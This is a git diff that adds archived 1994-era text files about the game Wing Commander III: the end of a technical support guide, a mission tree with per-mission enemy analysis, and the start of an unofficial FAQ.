+ TSLCDR SYS 35,201 04-26-94 3:36p + + 318S-MV.EXE contains : + + MSCDEX EXE 25,377 02-12-93 6:00a + TSLCDR SYS 35,425 11-11-94 10:53a + README DOC 1,372 12-06-94 4:50p + + NOTE : MSCDEX.EXE included in this executable is version 2.21. + Version 2.23 is a requirement for the game. If you do not already + have Version 2.23 (it is shipped w/ DOS 6.2 and up), you will need + to contact Microsoft for the latest version. + + Media Vision BBS 510-770-0968 14400bps + BBS 510-770-0527 + General 800-684-6699 + Tech Support 800-638-2807 + +---------------------------------------------------------------------- + +[7.0] Gameplay + +[7.1] Movies are of "poor quality" + +If "streaks" are seen, either your gamma correction or monitor +brightness is TOO high. Adjust the brightness of your monitor and/or +gamma correction so that "Origin Presents" and "A Chris Roberts Game" +fades to complete darkness. This should lessen the "streak"ing effect. + +[7.2] No descriptions of possible actions (Attend Briefing, etc.) + +A 100% Microsoft compatible mouse driver must be installed in order to +get gameflow descriptions (ie. Talk to Hobbes, Attend Briefing, etc.) + +[7.3] TAB and ~ (afterburners) do not work in spaceflight + +The use of afterburners (TAB or ~) or slide (CAPS LOCK and /) will not +work when mouse flight is enabled. You will have to double-click the +right mouse button to afterburn, or use a joystick or the keyboard. The +control type can be changed in the Spaceflight Options Menu (ALT-O). + +[7.4] Installation program rates machine slower than normal + +If CPU Speed is rating slower than normal, make sure that both internal +and external CPU caches are enabled. Also, check to see that the turbo +button is on. Our benchmark scale applies to Intel microprocessors. +Other processors tested may show a result slower than their Intel +counterparts. Contact the microprocessor manufacturer for a more +detailed explanation. + +[7.5] Crackling sounds in SVGA + +In SVGA, you hear crackling/static/popping sounds from the sound card. +First, make sure you do not an IRQ or DMA conflict. + +[7.5.1] Cirrus Logic GD-542x + +If the you have the Cirrus Logic GD-542x video card, you may download +542XVGA.EXE from the Cirrus Logic BBS. It upgrades the video BIOS to +1.41. + + Cirrus Logic BBS 510-440-9080 + General 510-623-8300 + +[7.5.2] Orchid Kelvin 64 + +If you have the Orchid Kelvin 64 there is currently no solution for this +problem. We are in contact with Orchid working on a solution. + + Orchid Technology BBS 510-683-0327 + General 510-683-0300 + Sales 800-767-2443 + Tech Support 510-683-0323 + +---------------------------------------------------------------------- + +[8.0] Specific Hardware + +There are several hardware specific issues that need to be addressed +as follows. + +[8.1] Control (keyboard, mouse, joystick) + +It is very important that 100% Microsoft-compatible mouse drivers are +used. It has been noted that non-100% Microsoft-compatible mouse drivers +will cause lockups during game initialization or during the movies. + +There is no mention how the Flightstick Pro or Thrustmaster FCS Mark I +is supported in the documentation for the game. They are supported as +follows : + +[8.1.1] Flightstick Pro support + + Coolie Hat UP F1 (Forward View, Toggle Cockpit On/Off) + Coolie Hat LEFT F2 (Left View, Pan Left -it DOES pan) + Coolie Hat RIGHT F3 (Right View, Pan Right -it DOES pan) + Coolie Hat DOWN F4 (Rear/Turret View) + + Trigger FIRE Guns + Left TOP Button Joystick Button 2 + Middle TOP Button "Y" - Lock target and Match Speed + Right TOP Button Fire Missiles + +[8.1.2] Thrustmaster (w/o the Mark II) and Logitech Wingman support + + Hat NOT SUPPORTED + + Trigger FIRE Guns + TOP Thumb Button Joystick Button 2 + BOTTOM Thumb Button Fire Missiles + Pinky Button "Y" - Lock target and Match Speed + +[8.1.3] WING3.ADV compiler errors + + HOW to solve : + Edit the WING3.ADV file and remove the ( and ) (open and close + parentheses) from the lines w/ LALT and LCTL. Recompile, and it + should work fine. + + The corrections to the file are listed below : + + REM WING COMMANDER THREE by ORIGIN SYSTEMS + REM Written and Tested November 1994 + REM **************************************************************** + REM Base Switch Settings + REM Black Hat switch = Digital + REM Red Switch = Digital + REM Game Settings: Regular Joystick if FCS is plugged into WCS + REM + GAME 1 70 REM DIGITAL CONTINUOUS 70 MS Delay + BTN UB ENT REM WEAPON FIRE + BTN MB TAB REM AFTERBURNERS + BTN LB Y REM TARGET AND MATCH SPEED + BTN HU F1 REM FRONT VIEW/COCKPIT TOGGLE + BTN HR F3 REM RIGHT VIEW + BTN HD F2 REM REAR VIEW + BTN HL F4 REM LEFT VIEW + BTN 1 /U S REM SHIELDS VDU + /M G REM TOGGLE GUNS + /D LALT W REM "WHAT'S YOUR STATUS" + BTN 2 /U D REM DAMAGE VDU + /M M REM CONFIGURE MISSILE + /D LALT A REM "ATTACK MY TARGET" + BTN 3 /U P REM POWER VDU + /M L REM LOCK TARGET + /D LALT B REM "BREAK AND ATTACK" + BTN 4 /U ] REM INCREASE CURRENT POWER SYSTEM 5% + /M T REM NEXT TARGET + /D LALT T REM RANDOM TAUNT + BTN 5 /U [ REM DECREASE CURRENT POWER SYSTEM 5% + /M a REM AUTOPILOT + /D W REM FULL MISSILES + BTN 6 /U LCTL ] REM TOGGLE LOCK CURRENT SYSTEM + /M E REM DROP DECOY + /D F REM FULL GUNS + RKR UP | REM NULL FUNCTION + RKR DN | REM NULL FUNCTION + THR 30 1 = - \ \ \ \ REM THROTTLE CHARACTERS + BTN MT /P /N BSP /R = REM THROTTLE CONTROL FROM IDLE TO OFF + +[8.1.3] Programmable keyboards + +Turn OFF the program function. (Usually FUNCTION-SUSPEND MACRO or +something similar. Also, REM out any lines that may install a +programmable keyboard device driver. + +[8.2] Video cards + +Our game is having a problem with the following video cards : + +[8.2.1] Cirrus Logic + +Crackling sounds in SVGA. See section 7.5.1. + +[8.2.1] Diamond Viper VLB + +The VPRMODE VESA program seems to cause random pixels and screen +trash. This appears to only be with the VLB version of the card in +SVGA. We are in contact with Diamond. For now, you will need to +play in VGA with WC3 -V. + +[8.2.2] Matrox PCI + +The Matrox PCI Windows Accelerator card seems to score poorly for +during video card testing (a rating of 43, when 12 is needed to play +the game). You will need to select VGA for Spaceflight and Movies, and +on some machines, the movies appear to run smoothly, on others pausing +is unavoidable. Contact Matrox for more information. + +[8.2.3] Hercules Graphite + +To use the HERCULES Graphite video card, the following line in +AUTOEXEC.BAT is needed : + + C:\HERCULES\VESA C:\HERCULES\HG_OLD1.CRT + +[8.2.4] Compaq Qvision + +We are working with Compaq on a solution for the screen trash problems +in SVGA with the Compaq Qvision. For now, you must play in VGA (WC3 -V). + + Compaq Computer Systems BBS 713-378-1418 14400bps + Compaq General 713-370-0670 + Compaq ....................T/S 800-888-5858 + +[8.3] Sound cards + +[8.3.1] Mozart by Oak Technologies + +The MOZART sound card (created by Oak Technologies) seems to lock up +after the "fourth" or "sixth" dot. We are currently working with Oak +Technologies on a solution. There is no work-around for this problem at +this time, you will have to play the game with NO SOUND. You can +recognize a Mozart sound card by spotting the following lines in the +configuration files : + + CONFIG.SYS : DEVICE=C:\MZT\MZTINIT.SYS /A220 /I5 /D1 /G /V7 + + AUTOEXEC.BAT : SET BLASTER=A220 I5 D1 T4 + SET SOUND=C:\MZT + +[8.3.2] Media Chips MAD 16 + +The Media Clips MAD 16 sound card must be configured as a Sound Blaster +Pro. You must add a parameter which is not normally found on the M16INIT +line (/C). You can recognize a MAD 16 by spotting the following lines in +the configuration files : + + CONFIG.SYS : DEVICE=C:\MAD16\CDSETUP.SYS /T:S /P:340 /I:5 + AUTOEXEC.BAT : SET MAD16=C:\MAD16 + SET BLASTER=A220 I5 D1 T4 + C:\MAD16\M16INIT /B /C + +[8.3.3] Media Magic 16 (ISP16 and MAGICS20) + +Media Magic 16 sound cards (MAGICS20 and ISP16) work great with the +game, but in the installation program, should be set as Sound Blaster +Pro. Sound Blaster/Compatibles will cause lockups. The following lines +will appear in AUTOEXEC.BAT if the customer has any of these cards : + + AUTOEXEC.BAT : SET BLASTER=A220 I5 D1 T4 + SET ISP16=C:\ISP16 + C:\ISP16\ISPINIT /B + + AUTOEXEC.BAT : SET BLASTER=A220 I5 D1 T4 + SET SOUND16=C:\MAGICS20 + C:\MAGICS20\SNDINIT /B + + AUTOEXEC.BAT : SET BLASTER=A220 I5 D1 T4 + SET SOUND16=C:\DIAMOND + C:\DIAMOND\SNDINIT /B + +[8.4] Miscellaneous (CPUs, hard drives, SCSI host adapters, etc.) + +[8.4.1] Cyrix 486 processors (DLC, SRX2, DRX2, DX, DX2) + +If configured incorrectly, these have been found to cause random lockups +and Exception 13s. We are working together with Cyrix, and the most +common problem we have found is the processor is being used in an +incompatible motherboard. + +[8.4.2] AMD processors + +The AMD microprocessors seem to function adequately. + +[9.0] Patches + +Only one patch is available at this time for Wing Commander III. + +[9.1] WC3JOY.DLL, the joystick patch + +This patch is for users who are experiencing problems with joystick +calibration (lockups, bad calibration, etc.) See the README.TXT of the +patch file for more information on how to install and use the patch. + +To remove the patch, type DEL C:\WC3\WC3JOY.DLL and press [ENTER]. + +---------------------------------------------------------------------- + +[10.0] Problem CD-ROM drivers and their updates + +If you are experiencing problems with Wing Commander III (bad CD reads, +movie pausing, etc.) make sure your CD-ROM driver is up to date. The +following is a list of CD-ROM drivers we tested the game with and we +know that work with the game and their locations. + +* NOTE : These may not be the latest CD-ROM drivers. You will need a + driver of this version or later. + ++ This is a location where you can find the driver. It is not the + original source for the driver. + +Driver Name Driver Driver Filename Driver Location + Version Date to DL +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +ASPICD.SYS 3.13 6-10-94 N/A Adaptec + BBS 408-945-7727 + TECH 408-945-2550 + + Creative Labs + BBS 405-742-6660 + TECH 405-742-6622 +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +CDMKE.SYS 4.04 12-3-93 N/A + Reveal + BBS 818-704-6321 +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +DD260.SYS 1.42 MediaVision + BBS 510-770-0968 + TECH 510-252-4315 +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +MTMCDAE.SYS 1.17 7-14-93 CDAE.EXE or Mitsumi + or FX116.EXE BBS 408-970-0761 +MTMCDAS.SYS 1.16 TECH 408-970-9699 +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +SBCD.SYS 4.19 4-30-94 CD-DOS.EXE Creative + BBS 405-742-6660 + TECH 405-742-6622 +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +SLCD.SYS 1.73a 173A.EXE Sony + BBS 408-955-5107 + SLCD173.EXE MediaVision + BBS 510-770-0968 + TECH 510-252-4315 +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +TSLCDR.SYS 3.16 4-26-94 316.EXE MediaVision + BBS 510-770-0968 + TECH 510-252-4315 + +---------------------------------------------------------------------- + +[11.0] Acknowledgements + +I would like to express thanks to the following people : + +PS : James Flores, Kay Gilmore, Andrew Hofmann, Bill LaCoste, + Jeremy Mappus, Chico Marvici, Donna Mehnert, John Moreland, + Reece Thornton, Todd Wachhaus, Marie Williams + +PD : Frank Savage, Jason Yenawine + +all of QA, Customer Service, and the Wing III Development Team. + +---------------------------------------------------------------------- + +-- END OF FILE -- + diff --git a/textfiles.com/games/wc3-miss.txt b/textfiles.com/games/wc3-miss.txt new file mode 100644 index 00000000..a3b1b844 --- /dev/null +++ b/textfiles.com/games/wc3-miss.txt @@ -0,0 +1,434 @@ +Compiled by Colonel Aubrey "SwiftHeart" Chen & Colonel Klaus "Gremlin" +Weidner of TCN. +---------------------------------------------------------------------- + + WC3 Mission Tree + ---------------- + + CD1 Orsini-4 + / \ + / \ + Tamayo Tamayo-2___ + \ / \ + \ / | + Locanda-2 | + / \ | + / \ | + CD2 Blackmane Blackmane-3 | + \ / \| + \ / | + Ariel | + / \ | + / Delius-1 | + | / | | + Caliban | Delius-2_ | + | | | \| + \ | Delius-3_ | + \ |/ \| + Torgo | + | | + CD3 Torgo-2 | + | | + Loki-3 | + / \ | + / (stranded) | + | | + Alcor-4___________ | + | \| + CD4 Freya | + | | + Freya-3___________ | + | \| + Hyperion__________ | + | \| + Kilrah-1__________ | + | \| + | Proxima + | | + | Sol + Kilrah-2__________ | + | \| + Kilrah-3__________ | + | \| + Kilrah-4 | + / \ | + / \ | + (win) (lose2) (lose1) + +(win) : Kilrathi surrenders. Fly home to Earth in shuttle. +(lose1): Ejection seat picked up by Thrakhath. Confederation defeated. +(lose2): No pick-up by Thrakhath. + +Note: The numbers represent the deciding missions in that series. + + + WC3 Mission Analysis + -------------------- +Guideline: + +Mission designation: Mission name +Wingman Ship (default) (Kills, Cumulative) + Mission content +Note: (Kills, Cumulative) Only includes direct winning path + + +ORSINI A001: Simple Patrol +Hobbes only *Hellcat (4,4) + 2 Darket at Nav 1 + 2 Darket at Nav 3 + +ORSINI A002: Simple Patrol 2 +No Flash/Flint Arrow/*Hellcat/Thunderbolt (5,9) + 2 Darket at Nav 2 + 1 Transport, 2 Darket at Nav 3 + +ORSINI A003: Escort Medical Cargo Transport +No Flash/Flint *Arrow/Hellcat/Thunderbolt (10,19) + 2 Darket, 1 Dralthi --> Nav 2 + 1 Corvette, 2 Darket at Nav 2 + 2 Darket + 2 Darket at Nav 3 + +ORSINI A004: Escort Civilian Transport, Skipper Missile +No Flash *Arrow/Hellcat/Thunderbolt (13,32) + 4 Darket + 2 Dralthi at Nav 1 + 2 Dralthi, 1 Corvette + (1 Skipper) --> Nav 2 + 2 Darket + 2 Darket at Nav 3 + (2 Corvette, 2 Dralthi --> Victory, if you failed to protect the + transport.) + +TAMAYO B001: Defend Victory +Maniac *Arrow (14,46) + 2 Darket, 1 Paktahn + + 2 Darket, 1 Paktahn + + 2 Darket, 2 Paktahn + + 2 Dralthi, 2 Paktahn at Victory (Weasel, Mitchel) +Note: Weasel bites the dust real quick. + +TAMAYO B002: Destroy Enemy Transports +Hobbes&Flint Arrow/Hellcat/*Thunderbolt/Longbow/*Excalibur (17,63) + 1 Corvette, 4 Vaktoth + 4 Darket + 4 Dralthi at Nav 1 + 4 Transport at Nav 2 + +SIMULATOR B003: Duel Flash +None *Arrow (0,63) + 1 Flash +Note: +1 under Ace in killscore. + +TAMAYO C001: Same as TAMAYO B001. + +TAMAYO C002: Same as B002, except, + 4 Dralthi at Nav 3 + 2 Transport, 4 Vaktoth at Nav 4 + +TAMAYO C003: Same as TAMAYO B003. + +LOCANDA D001: Eliminate All Enemy Presence +All Arrow/*Hellcat/Thunderbolt (30,93) + 2 Vaktoth + 4 Dralthi --> Nav 2 + 3 Darket + 4 Strakha at Nav 2 + 1 Destroyer, 4 Dralthi + 2 Dralthi + 2 Dralthi + 2 Dralthi at Nav 3 + 1 Fireclaw, 5 Darket at Nav 4 + +LOCANDA D002: Destroy Biomissiles +No Cobra/Flint Arrow/Hellcat/*Thunderbolt (9,102) + 8 Strakha (2 at all times), 1 Destroyer, 1 Biomissile + + (2 Biomissile) at Nav 1 + +LOCANDA D003: Go After Flint? (optional) +None Ship you flew in LOCANDA D002 (33,135) + 1 Scout, 2 Vaktoth (R) + 1 Corvette, 3 Dralthi + 4 Darket + 4 Dralthi (R) + 4 Darket + 3 Dralthi (R) + 1 Cruiser, 4 Darket + 4 Darket + 2 Vaktoth (Flint is here) (R) +Note: (R) denotes random encounters. They can appear at any Nav + point and are not restricted to the order listed above. + +BLACKMANE E001: Defend Blackmane Base +All Arrow/*Hellcat/Thunderbolt (16,151) + 4 Dralthi + 4 Darket + 4 Darket + 1 Bloodmist, 3 Paktahn at Base + +BLACKMANE E002: Escort Supply Transports +All Arrow/Hellcat/*Thunderbolt (12,163) + 4 Dralthi at Nav 1 + 4 Strakha + 4 Strakha at Nav 2 (captured Terran transports) +Note: Beware of the captured transports. If you get too close to + them, their detonations will damage your fighters severely. + +BLACKMANE E003: Escort Weapons Transports +All Arrow/Hellcat/*Thunderbolt (16,179) + 2 Sorthak + 2 Sorthak at Nav 1 + 4 Strakha + 4 Strakha --> Nav 2 + 2 Vaktoth + 2 Vaktoth at Nav2 (Asteroids) + +BLACKMANE F001: Assist Evacuation, Escort Convoy +All Arrow/*Hellcat/Thunderbolt + 1 Carrier, 8 Dralthi (2 at all times) at Nav 1 + +BLACKMANE F002: Assist Evacuation 2, Escort Convoy (Pulsar) +All Arrow/Hellcat/*Thunderbolt + 4 Strakha at Nav 2 + 3 Dralthi (x3) at Nav 3 + +BLACKMANE F003: Final Evacuation Assistance? +All Arrow/Hellcat/*Thunderbolt + 3 Strakha --> Nav 1 + 4 Strakha + 4 Strakha at Nav 1 (Asteroids, captured Terran + transports) +Note: Beware of the captured transports. If you get too close to + them, their detonations will damage your fighters severely. + +ARIEL G001: Clear All Nav Points +All Arrow/Hellcat/Thunderbolt/*Longbow (25,204) + 1 Corvette, 2 Transport, 2 Strakha + 2 Strakha at Nav 1 + 4 Strakha at Nav 2 + 1 Carrier, 4 Darket + 4 Dralthi + 4 Darket + 1 Vaktoth at Nav 3 + +ARIEL G002: Ambush Enemy Convoy (Nebula) +All *Thunderbolt/Longbow (34,238) + 1 Destroyer, 1 Transport, 4 Vaktoth + 4 Vaktoth + 4 Darket at Nav 1 + 1 Corvette, 1 Transport, 4 Darket at Nav 2 + 1 Destroyer, 1 Transport, 4 Vaktoth + 4 Vaktoth + 4 Darket at Nav 3 + +ARIEL G003: Escort Victory to Jump Point +All Arrow/Hellcat/*Thunderbolt/Longbow (18,256) + 2 Paktahn, 2 Darket --> Nav 1 + 1 Carrier, 2 Strakha + 2 Darket + 2 Darket + 2 Darket at Nav 1 + 1 Corvette, 4 Strakha + (1 Skipper) at Nav 2 + +CALIBAN H001: Defend Destroyers +All Arrow/*Hellcat/Thunderbolt/Longbow (7,263) + 2 Vaktoth, (1 Destroyer, Sheffield never loses the battle) + at Nav 1 + 1 Destroyer, 2 Vaktoth + 2 Vaktoth at Nav 2 + +CALIBAN H002: Destroy Enemy Convoy (Nebula) +All Arrow/Hellcat/*Thunderbolt/Longbow (18,281) + 4 Darket at Nav 1 + 6 Dralthi + 4 Vaktoth at Nav 2 + 2 Corvette, 1 Destroyer, 1 Scout at Nav 3 + +CALIBAN H003: Escort Victory 2 (Nebula) +All Arrow/*Hellcat (29,310) + 1 Corvette, 4 Darket --> Nav 1 + 1 Corvette, 4 Darket --> Nav 1 + 4 Dralthi + 1 Corvette, 2 Dralthi + 4 Vaktoth + 2 Vaktoth, + 2 Darket + 4 Darket at Nav 1 + +DELIUS I001: Search & Destroy, Eliminate Enemy Base (Asteroids) +All *Arrow/Hellcat/Thunderbolt/Longbow + 4 Vaktoth, 1 Asteroid Base + 2 Vaktoth (joins battle after 3rd + Vaktoth is dispatched) at Nav 1 + 3 Dralthi + 3 Dralthi at Nav 2 + 2 Dralthi + 2 Darket at Nav 3 + 4 Vaktoth at Nav 4 + +DELIUS I002: Destroy Inbound Enemy Ships (Asteroids) +All Thunderbolt/*Longbow + 1 Corvette, 4 Dralthi at Nav 1 + 4 Darket at Nav 2 + 1 Destroyer, 2 Dralthi + 1 Corvette, 2 Vaktoth + 2 Vaktoth, + 1 Sorthak + 4 Dralthi at Nav 3 +Note: Ejection => end credit. + +DELIUS I003: Victory vs. Enemy Base (Asteroids) +All *Arrow/Hellcat + 2 Darket --> Nav 1 + 2 Darket --> Nav 1 + 2 Dralthi, (1 Asteroid Base, if you could beat Victory's CS + Missiles to it) + +TORGO J001: Clear System for Behemoth +Flint *Arrow (28,338) + 2 Strakha, 2 Paktahn at Nav 1 + 2 Vaktoth, 2 Paktahn (x5) at Nav 2 (Flash, Primate) + 2 Strakha, 2 Paktahn at Nav 3 (Vagabond, Styg) + +TORGO J002: Mine Jump Points +All Thunderbolt/*Longbow (16,354) + 2 Vaktoth, 2 Paktahn at Nav 1 (Asteroids) + 2 Vaktoth, 2 Paktahn at Nav 2 + 2 Vaktoth, 2 Paktahn at Nav 3 + 2 Vaktoth, 2 Paktahn at Nav 4 + +TORGO J003: Disable Tankers (Asteroids) +All Arrow/*Hellcat (6,360) + 3 Tanker (disable), 2 Asteroid + 2 Asteroid + 2 Asteroid at Nav 1 + +LOKI K001: Sweep Loki VI Environ +All Arrow/*Hellcat (34,394) + 1 Corvette, 4 Darket + 1 Corvette, 4 Vaktoth at Nav 1 + 6 Dralthi + 4 Dralthi (joins battle after a certain period of time) + at Nav 2 + 6 Vaktoth + 4 Darket + 4 Strakha at Nav 3 + +LOKI K002, KA02: Cover Behemoth +All Arrow/*Hellcat (12,406) + 4 Paktahn at Victory + 2 Corvettes + 4 Strakha + 2 Paktahn at Victory + +LOKI K003 (--> Kilrah): Defend Behemoth (unwinnable) +All Arrow/*Hellcat (3,409) + n Paktahn at Behemoth +Note: Killscore depends on how many Paktahns you can dispatch in + approx. 1 min 20 sec. + +LOKI K03A (--> Kilrah): Intermission (plot advancement) +None Ship you flew in KILRAH K003 (0,409) + 1 Destroyer, 1 Thrakhath at Victory + +LOKI K004 (--> Kilrah): Accept Thrakhath's Challenge? +None Ship you flew in KILRAH K004 (0,409) + 1 Destroyer, 1 Thrakhath at Victory +Note: Fight Thrakhath, return to Victory => end credits. + Fight Thrakhath, unable to return to Victory => stranded. + Ignore Thrakhath, return to Victory => ALCOR L001. + Cannot eject. + +ALCOR L001: Defend Victory, Clear All Nav Points +Hobbes *Arrow (50,459) + 3 Corvette + 1 Corvette, 4 Vaktoth + 8 Darket at Nav 1 (Sheffield) + 2 Vaktoth, 4 Paktahn + 6 Dralthi + 6 Dralthi + 4 Paktahn at Nav 2 + 4 Strakha at Nav 3 + 4 Vaktoth at Nav 4 + 2 Sorthak + 2 Sorthak at Victory (Primate, Ragtop, Coventry) +Note: Drinking excessively before flying is a crime. + +ALCOR L002: Clear Asteroid Field of Enemy Presence (Asteroids) +All *Arrow/Thunderbolt/Longbow (38,497) + 3 Corvette, 1 Destroyer + 1 Corvette, 6 Darket at Nav 1 + 4 Asteroid + 4 Strakha + 4 Strakha at Nav 2 + 1 Destroyer, 4 Paktahn + 6 Darket + 4 Dralthi at Nav 3 + +ALCOR L003: Go After Hobbes? (optional) +None *Hellcat + 1 Hobbes at Nav 1 + 1 Stalker, 2 Strakha + 3 Paktahn (Vaquero, Primate) +Note: Vaquero dies. +3 under Ace in killscore for dispatching Hobbes + and Stalker. + +ALCOR L004, LG04: Extract Scientist from Prison +None *Excalibur (16,513) + 6 Darket at Nav 1 (space) + 6 Ekapshi, 4 Ground Object at Landing Zone (planet surface) + 4 Ekapshi, 4 Tank, 3 Ground Object at Nav 1 + 5 Ground Object at Nav 3 + +FREYA M001: Suppress Freya Space Defenses +Vaquero/Maniac/Flash/Flint All/*Longbow (26,539) + 1 Destroyer, 2 Darket + 4 Darket at Nav 1 + 2 Corvette, 4 Dralthi at Nav 2 + 1 Carrier, 4 Dralthi + 4 Darket + 4 Dralthi at Nav 3 + +FREYA M002, MG02: Destroy Shield Generator +None *Excalibur (20,559) + 4 Dralthi --> Nav 1 (space) + 4 Ekapshi at Landing Zone (planet) + 4 Ekapshi, 15 Ground Object --> Shield Generator + 4 Ekapshi, 5 Ground Object, 1 Shield Generator at Shield + Generator + 2 Dralthi at Exit Point (space) + 2 Dralthi --> Victory + +FREYA M003 (Loviatar): Destroy Inbounds at Jump Point +No Hobbes/Cobra All/*Thunderbolt (21,580) + 3 Dralthi + 1 Corvette, 2 Darket + 3 Darket + 3 Darket + + 3 Vaktoth + 2 Vaktoth, 1 Darket + 3 Darket at Nav 1 + +HYPERION N001: Deliver Prototype T-Bomb +None *Excalibur (14,594) + 4 Dralthi --> Entry Point (space) + 2 Ekapshi at Landing Zone (planet) + 2 Ekapshi --> Fault Line + 2 Ekapshi, 1 Fault Line at Fault Line + 4 Dralthi --> Victory + +HYPERION N002: Escort Cap Ships, Destroy Enemy Fleet +No Hobbes/Cobra Arrow/*Hellcat/Excalibur (21,615) + 1 Destroyer, 2 Darket + 2 Darket + 2 Dralthi + 2 Dralthi at Nav 1 + (Sheffield) + 1 Carrier, 2 Dralthi + 2 Dralthi + 2 Paktahn + 2 Vaktoth at Nav 2 + (Conventry) + 1 Cruiser, 2 Paktahn at Nav 3 (Ajax) + +HYPERION N003 (Freya): Defend Jump Point to Kilrah +No Hobbes/Cobra All/*Excalibur (20,635) + 1 Destroyer, 4 Darket + 4 Darket + 2 Dralthi at Nav 1 + 4 Darket at Nav 2 + 1 Cruiser, 4 Darket at Nav 3 (Asteroids) + +KILRAH P001: Jump Into Kilrah Home System +0-3 Wingmen from All except Hobbes/Cobra *Excalibur (35,670) + 2 Sorthak at Jump Point + 2 Corvette, 4 Darket + 4 Dralthi at Nav 1 + 2 Corvette, 4 Dralthi + 6 Strakha at Nav 2 + 1 Destroyer, 4 Darket + 6 Darket at Nav 3 +Note: At least one wingman dies. Killscore no longer accessible. + +KILRAH P002: T-Bomb Base +Surviving members from KILRAH P001 *Excalibur (33,703) + 2 Corvette, 4 Darket + 4 Dralthi at Nav 1 + 2 Corvette, 4 Vaktoth + 6 Strakha at Nav 2 + 1 Destroyer, 4 Sorthak + 6 Darket at Nav 3 +Note: At least one wingman dies. + +KILRAH P003, PG03: T-Bomb Kilrah +Surviving member from KILRAH P002 *Excalibur (38,741) + 1 Destroyer, 4 Paktahn + 4 Dralthi at Nav 1 + 1 Destroyer, 4 Dralthi + 6 Strakha at Nav 2 + At Nav 3: + -> 1 Destroyer, 3 Darket + 6 Darket (no wingman) + -> n Stalker, 3 Darket + 6 Darket (wingman) + At Entry: + -> 1 Prince Thrakhath, (1 Hobbes), 2 Paktahn + 4 Darket (cloaked + at Nav 3) + -> (1 Hobbes), 4 Paktahn, 4n Sorthak (not cloaked at + Nav 3) + On Kilrah surface: (Kilrah-4) + -> 9 Ground Object, 1 Fault Line (in Trench) + -> 2n Epakshi, 9 Ground Object, 1 Fault Line (out of Trench) +Note: When out of Trench, cloak for your own safety. + +PROXIMA R001: Defend Jump Point (unwinnable) +Flint Arrow/Hellcat/Thunderbolt/Longbow/*Excalibur + 4 Darket + 4 Dralthi + 4 Vaktoth + 1 Corvette, 3 Strakha + + 1 Corvette, 3 Strakha + 1 Carrier, 4 Dralthi at Victory +Note: Victory jumps out approx. 5 mins into the battle, stay close + to it. Ejection => back on Victory. + +SOL-EARTH ORBIT R002: Defend Earth (unwinnable) +None Arrow/Hellcat/Thunderbolt/Longbow/*Excalibur + 4 Paktahn + 4 Paktahn + 4 Vaktoth + 1 Corvette, 3 Strakha + + 1 Corvette, 3 Strakha + 1 Dreadnought, 4 Dralthi...(infinity) + at Nav 1 (Sheffield, Coventry) +Note: infinity = combinations of 4 Paktahn/1 Corvette, 3 Strakha/ + 4 Vaktoth. Sheffield and Coventry explodes really fast.) + +Additional notes: +1) - to get mission designations. +2) The following are not included in killscore: + a) Missiles (Bio/Skipper), + b) Turrets, + c) Fighters parked in carriers, + d) Ejected pilots, + e) Ground objects, + f) Disabled tankers, + g) Shield generator, + h) Fault lines. +3) Later presence of Sheffield, Coventry, and Ajax depends upon + your success in the earlier missions. If they were destroyed + in the early stages of the game, they would be absent in the + later actions. +4) The number of waves of enemy fighters covering the cap ships + may depend upon how fast you destroy the mother ships. +5) Victory's killboard is unstable. + +Comments, questions, corrections? Please let us know. Thank you. :) + +------------------------------------------------------------------------------ + /*\-\/*\-\ Any of you ever Colonel Aubrey "SwiftHeart" Chen + (********) ) wondered how long the of TCS CV-40 Victory + \******/ / Human-Kilrathi swifthrt@access.mbnet.mb.ca + \****/ / conflict would've "Currently, it's Flint-3, Rachel-1." + \/_/ lasted if we WCers were to band together? :) + + diff --git a/textfiles.com/games/wc3.txt b/textfiles.com/games/wc3.txt new file mode 100644 index 00000000..1335251f --- /dev/null +++ b/textfiles.com/games/wc3.txt @@ -0,0 +1,1781 @@ + The Unofficial + + <<----------- \\ // || |||||\\ //|||| ----------->> + \\ // || || || // + <<-------------- \\ \\ // || || || || |||| -------------->> + \\ \\ // || || || \\ . +<<----------------- \\ \// || || || \\|||/ ----------------->> + + //|||| /||||\ |||||\\ |||||\\ \\ |||||\\ ||||\\ ||||| |||\\ + // // \\ || || || || \\ || || || || || +|| || || || || || || || || // \\ || || || || ||||| |||// + \\ \\ // || || || || || || // \\ || || || || || || + \\|||| \||||/ || || || || || || ////////\\ || || ||||// ||||| || + + ==================== + || || || + || || || + || || || + ==================== + + ,--- /\ .--. + |--- /__\ | | + | * / \ * |_\| * + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + + The Unofficial *F*requently *A*sked *Q*uestions list for + Wing Commander III: Heart of the Tiger + + Wing Commander III FAQ, revision 1.10 + Released October 24, 1994 + Compiled by James Hogan (j-hogan@ux4.cso.uiuc.edu) + Copyright (C) 1994. All rights reserved. + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +TABLE OF CONTENTS: + +Any sections which are new or have been updated since the last significant +(1.x) revision are marked with asterisks (i.e., *7.4.* Revision history). + +*0.* FAQ v1.10 Preface -- A Word from the Author + +1. FAQ Introduction + 1.1. Purpose of the FAQ + 1.2. Trademark information + 1.3. Disclaimer -- READ ME! + 1.4. Spoiler warning + 1.5. Acronyms + *1.6.* Obtaining the latest version of the FAQ + *1.6.1.* Accessing the FAQ on the World Wide Web + *1.6.2.* The WC3 FAQ Mailing List + +2. Background of Wing Commander III + 2.1. What's this whole "Wing Commander" thing about? + 2.2. What were the previous Wing Commander products? + 2.2.1. Wing Commander I + *2.2.1.1.* Super Wing Commander + 2.2.2. Wing Commander II + *2.2.2.1.* The Wing Commander I & II CD-ROM + 2.2.3. Privateer + *2.2.3.1.* The Privateer / Strike Commander CD-ROM + 2.2.4. Wing Commander Academy + *2.2.5.* Wing Commander Armada + *2.2.5.1.* Will there be an enhanced Wing Commander + Armada CD? + 2.2.6. The Wing Commander novels + *2.2.6.1.* What are the ISBN numbers of the WC novels? + 2.3. Who's this "Bluehair" guy? + +3. Technical questions + *3.1.* What will the system requirements for Wing Commander III be? + *3.1.1.* How fast will my 